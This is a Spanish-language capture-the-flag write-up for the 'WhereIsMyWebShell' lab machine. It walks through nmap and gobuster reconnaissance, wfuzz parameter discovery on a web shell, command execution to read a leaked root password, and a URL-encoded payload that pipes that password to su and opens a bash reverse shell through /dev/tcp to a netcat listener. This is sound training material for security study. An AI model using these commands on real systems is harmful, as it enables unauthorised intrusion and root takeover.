> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/whereismywebshell-write-up.md).

# WhereIsMyWebShell write-up

## **Verificamos si tenemos conexión con la máquina víctima**

<figure><img src="/files/pdC1zXlMXTDLFe8dqEYh" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de máquina víctima**

Usamos la herramienta **Nmap** para ver los puertos abiertos de las máquina víctima usando el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/3Xpd5F9mImRSMuY4fIRH" alt=""><figcaption></figcaption></figure>

El cual nos indica que el puerto 80 (HTTP) esta abierto, así que ponemos la IP de la máquina víctima en el navegador y lo primero que encuentro es lo siguiente:

<figure><img src="/files/qNDhmhErsrqFtL69f01z" alt=""><figcaption></figcaption></figure>

Ahora lo que haremos será utilizar la herramienta de fuzzing web, **Gobuster** para encontrar rutas con el siguiente comando:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```

<figure><img src="/files/39JAHe7a0Q6uS8LFH3O5" alt=""><figcaption></figcaption></figure>

La cual nos indica dos rutas importantes, la primera `/warning.html` que tiene el siguiente mensaje:

<figure><img src="/files/JeyfWCBQILNBD9JpRbV5" alt=""><figcaption></figcaption></figure>

Y la segunda ruta importante es `/shell.php` que leyendo en mensaje que hay en `/warning.html` podemos deducir que hay un parámetro en `/shell.php`, así que lo que haremos será utilizar la herramienta llamada **Wfuzz** para encontrar el parámetro con el siguiente comando:

```bash
wfuzz -c --hl 0 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt "http://172.17.0.2/shell.php?FUZZ=whoami"
```

<figure><img src="/files/HBzCTmS5MHoNtWucvxN9" alt=""><figcaption></figcaption></figure>

Esto indica que podemos ejecutar comandos de manera remota (RCE) desde el parámetro que hemos descubierto.

<figure><img src="/files/uPFNgibE2ji0CrL8wxW7" alt=""><figcaption></figcaption></figure>

Debido a la pista que vimos ejecutaremos un `ls -a /tmp` utilizando la siguiente URL, como se mostró anteriormente.

```plaintext
http://172.17.0.2/shell.php?parameter=ls%20-a%20/tmp
```

<figure><img src="/files/XQtImoSTUTxk2aGwqkbc" alt=""><figcaption></figcaption></figure>

Y encontramos el archivo `.secret.txt` así que hacemos un cat del archivo de la siguiente manera:

```plaintext
http://172.17.0.2/shell.php?parameter=cat%20/tmp/.secret.txt
```

<figure><img src="/files/cii468oYIsWNvt53eL27" alt=""><figcaption></figcaption></figure>

Lo que nos revela una posible contraseña del usuario root, `contraseñaderoot123`. Así que solo nos queda ponernos en escucha con **netcat** con el siguiente comando:

```bash
sudo nc -nlvvp 444
```

Y poner la siguiente URL en el navegador (Que decodeada seria: `http://172.17.0.2/shell.php?parameter=echo 'contraseñaderoot123'|su root -c "bash -i >& /dev/tcp/172.17.0.1/444 0>&1"`):

```plaintext
http://172.17.0.2/shell.php?parameter=echo%20%27contrase%C3%B1aderoot123%27|su%20root%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F444%200%3E%261%22
```

Y ya habríamos obtenido una reverse shell con privilegios elevados.

<figure><img src="/files/QZhLw7RiFPL66nAk2bgj" alt=""><figcaption></figcaption></figure>
